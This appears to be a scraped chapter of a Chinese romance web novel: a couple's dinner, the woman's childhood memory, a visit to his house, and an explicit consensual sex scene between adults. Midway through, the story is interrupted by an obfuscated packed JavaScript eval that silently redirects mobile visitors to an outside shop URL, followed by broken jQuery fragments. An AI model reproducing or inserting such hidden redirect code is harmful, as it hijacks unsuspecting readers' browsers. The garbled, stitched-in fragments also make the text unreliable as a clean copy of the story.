文趣网 > 其他小说 > 请你悄悄念一念我的名字 > 30. 第 30 章
    从步梯间出来,谢陶去了趟洗手间,其实手上并未沾上什么污渍,但还是不厌其烦搓洗了好几遍。坐直梯一路下到地下二层,上车离开。中途停在一家便利店前,下去买了瓶常温苏打水——奶茶她一口没喝,被当做医药费,赔给苑瑞了。

    晚饭订了位子,一家据说是在云城开了几十年的粤菜馆。

    万丞礼过来的时候,谢陶正在点菜,犹豫该吃手撕鸡还是盐焗鸡。

    “拼一下,”他在对面坐下,建议道,“一样半只。”

    “可以拼?”

    一旁的服务员接话说:“可以的。”

    谢陶把平板递给万丞礼,“我差不多了,你再看看。”

    万丞礼瞄了眼下单的菜,便又加了两盅汤,“去哪玩了?”

    “回学校拿点东西,”谢陶端杯子喝了口茶,“然后就在那边的千禧大厦吹了一下午的空调,马上要上班了,得多备几套衣服。”

    “现在正是热的时候,下次直接让设计师去家里给你量尺寸。”

    “我随便买的,要求不高,能穿出去给人讲课就行了,”谢陶笑得眉眼弯弯,“再说我主要是想出去走走,整天呆在室内总感觉头晕脑胀的,书都看不进去。”

    “这个月不出差,等周末带你出去玩?”

    “去哪里?”

    万丞礼却卖了个关子,“到时候你就知道了。”

    谢陶眉目微扬,要说话时,被进来上菜的服务员打断,情绪就也跟着断开,只好给不情不愿憋了回去。

    万丞礼瞧她的模样,唇角不由噙出笑来。

    “等会要不要回云山阁?”

    谢陶一愣,后知后觉地想起万丞礼那栋闹中取静的房子就坐落在这附近,“你不提我都没想起来。”

    “从这开车过去差不多二十分钟,”万丞礼凝着她,“要去看看吗?”

    谢陶被他直白的目光看得有些脸热,昨晚的某些画面不期然扑了上来,她不太自然地喝了口汤,压低眉眼,清着嗓子说:“去呗。”

    就因为这么几句话,导致后半程谢陶都没怎么注意自己吃了什么,胸腔一直咚咚敲着,敲得心都快要飘上半空。

    “车停哪了?”

    谢陶指了个方向,“傅助理什么时候来?”

    万丞礼扬眉,“我让他下班了。”

    谢陶狐疑地看着他,“你……你别是来之前就计划好的吧?”

    万丞礼牵起她的手往车停的方向走,不忘倒打一耙,“我看你定位在这,还以为是在你计划之内的。”

    “我哪有,我乱逛逛到这的!”

    “小陶,”万丞礼在车旁停住,回身忽的双手捧起她的脸,说出口的话分明带着疑惑,却无端让人心动,“我好像病了,明明我们早上才分开,但怎么感觉好久没见了?”

    谢陶嘴唇动了动,什么话也没说出来。

    万丞礼随即在她唇上重重亲了下,“回去?”

    谢陶脚下有些飘,笑得不知所谓。

    下班时间,路上堵了一会车,等到云山阁一号的时候,用了快一个小时。

    万丞礼过去输密码,谢陶站在他身后,恍恍惚惚的,记忆里突然出现了个仰望的视角。

    是那个混乱的暑假。她整天浑浑噩噩,好像也是这样一个傍晚,她被万丞礼带回了自己家。彼时就是这样,只不过她没现在这么高,看万丞礼时,需要仰起头。

    “过来,”记忆与现实仿佛重叠了,就连声音都隐隐带着叠音,“来录个指纹。”

    眼底蓦地涌满泪水,她想起来了!想起那个时候明明已经落日西斜,她沉默地望向万丞礼的背影,却又在下一刻不得不移开眼睛。

    就是那一天,就从那一天起——

    怎么会忘了呢?怎么可以把这么重要的一幕给忘了呢?

    身后半晌没有动静,万丞礼奇怪回过头,猝然看见谢陶眼里的泪,他虽不知缘由,却在第一时间快步过去,什么也没说地搂紧了她。

    这么静静呆了会,万丞礼胸前已是濡湿一片,微微分开时,恰有一阵微风拂过,湿湿凉凉的触感便趁机在皮肤上来回流连。他低头看谢陶,没从她神色里看出难过,便打趣说:“是不是这个指纹锁丑到你了?”

    “没有。”

    谢陶破涕为笑,却也没说自己为什么会哭,回忆里的门锁在这一刻与眼前所见重合,但这一次她没有迟疑没有抗拒,当作凭此便可走向另一段人生那样的,勇敢且坚定压上了食指。

    院子里的布局没怎么变,只是之前那块不知要做什么的空地此刻却围了起来。

    “那边要装修了?”

    万丞礼“嗯”了声,摸了摸她的鬓边,眉目里藏着意味深长,“摆些滑梯和秋千给你玩。”

    “我还用得着……”她忽然停下,惊讶地张了张嘴,“你都记得?”

    万丞礼笑弯了眼,拂过她微红的眼角,没说话。

    亲口承诺过的,怎么会忘?

    那是他又一次从那间库房里找到谢陶了。当时的她虽比刚认识时长高了一点,但在他面前却仍是小小一个,没有任何攻击力,像个一推就倒的花瓶。

    找到她时她还没哭完,回头蓦然看见他,原本低声抽泣的人哇的大哭起来,“他们都去游乐场了,妈妈不要我了,她只要哥哥姐姐,我要妈妈……”

    他费了好大心思才通过谢家阿姨弄明白原委:原来是前一天说好的,今天陶阿姨会带他们一起去游乐场玩,临走之前,那对姐弟俩却再次将她关进了小黑屋,并谎称是她自己溜去玩了。

    也许是长大了些,懂得也更多了,知道什么时候该不依不饶,是以这事便就这么闹将开来,并且还有他这个人证,加上前面几次亲眼见证的小黑屋经历,那对姐弟被打得半个月没下去床。

    “我说以后长大了就给你建个游乐场——没食言哦?”

    谢陶的眼圈又一次泛红,她别开眼,鼻音更重,“你怎么……你这样显得我多爱哭一样……”

    万丞礼弯腰歪着头去看谢陶的脸,额头顶了顶她的,“那喜不喜欢?”

    谢陶再次把脸别开,却是忍不住弯起了唇。

    万丞礼站直回身去开屋门,顺便也拉过谢陶的手录指纹,继而问道:“要不要看个电影?”

    谢陶嗓子哑哑的,“看。”

    “那你先去二楼等我?”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17672505|205848||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    谢陶点点头,上去之后却没直接去影音室,而是跑到卫生间洗了把脸,拿冷水敷了会通红的眼睛。

    出去时万丞礼已经上来了,双人沙发旁的小桌上摆了瓶红酒,高脚杯里也已经倒了一些。他在调试设备,看见谢陶,招招手说:“过来选片子。”

    谢陶当时为了训练自己英俄互译的水平,看了不少老片子,但由于目的性太强,其实大部分内容都没太往脑子里去,不过偶尔也有被情节吸引过去的时候,她记得有部电影让她一而再地看过好几回,叫——

    “找到了,还真有!”谢陶说着点击那个名字,“《RomanHoliday》。”

    “《罗马假日》?”

    谢陶问:“可以吗?”

    “怎么不行?”电影已经开始,万丞礼径自走到沙发前,“过来坐。”

    谢陶看着那张沙发,想起不久前自己干的某件事,不知怎的一股热意就开始在身体里胡乱窜将起来,它像是迷了路,一会停留在四肢,一会又汇聚在心口,末了又源源不断流向了小腹。

    越聚越多,好似一团滚烫的火。

    她双腿不受控制地发软,但表面尚且能维持住镇定,一步一步走过去,喉咙愈发干涸,心跳早已失去节奏。

    万丞礼递了杯红酒给她,“尝尝,味道不错。”

    谢陶牛饮水一样润进了喉咙,却依旧很渴。

    她暗自隐忍,因为余光瞥见万丞礼好像正在认真看着电影,倒显得她动机不纯。而正当她试着放空时,忽听万丞礼略显低沉的声音在耳边响起——

    “昨天有没有弄得你哪里不舒服?”

    握杯子的手倏然蜷紧,眼前开始出现虚影,谢陶拿牙齿轻磕杯沿,含糊地说:“没有……吧?”

    “后面你睡着了。”

    他的声音近在咫尺,谢陶听得真切,他是在笑。她猛地转过头,电影也碰巧在这时切换画面,影音室里陷入短暂的两秒黑暗。

    她尝到了微微泛着凉的红酒味道的吻,温柔缱绻,似绵长的余味。

    眼前重新有了暗光,她已被万丞礼抱坐到了腿上,而她双手圈住他脖子,与他额头抵着额头,来回剐蹭鼻尖。

    “丞礼哥。”

    万丞礼以轻轻一吻回应。

    她悄无声息解开他衬衫扣子,手伸进他的衣领,与他耳鬓厮磨,“我对你,也是‘想要你’的那种喜欢。”

    ……

    电影情节依旧没太记全,甚至后面连声音都听不见了,只恍恍惚惚的,总听万丞礼压在她耳边,鼓励似的,说她“好乖”,夸她“真棒”。而原本已然力竭的她每每听闻这样的说辞,都会重新生出无限体力,以期盼能再从他口中得到别的奖励。

    直到身与心仿佛被双双高抛向云端——

    “丞礼哥,”谢陶精疲力尽,软软趴在万丞礼的肩头,气声说,“我以前……偷偷玩玩具的时候,经常会想象和你在这张沙发上……”

    她说的隐晦,万丞礼却立刻明白过来,默了两秒,掰过她的脸去亲她的唇,“累吗?”

    “……累。”

    “你歇着,我来。”

    “……”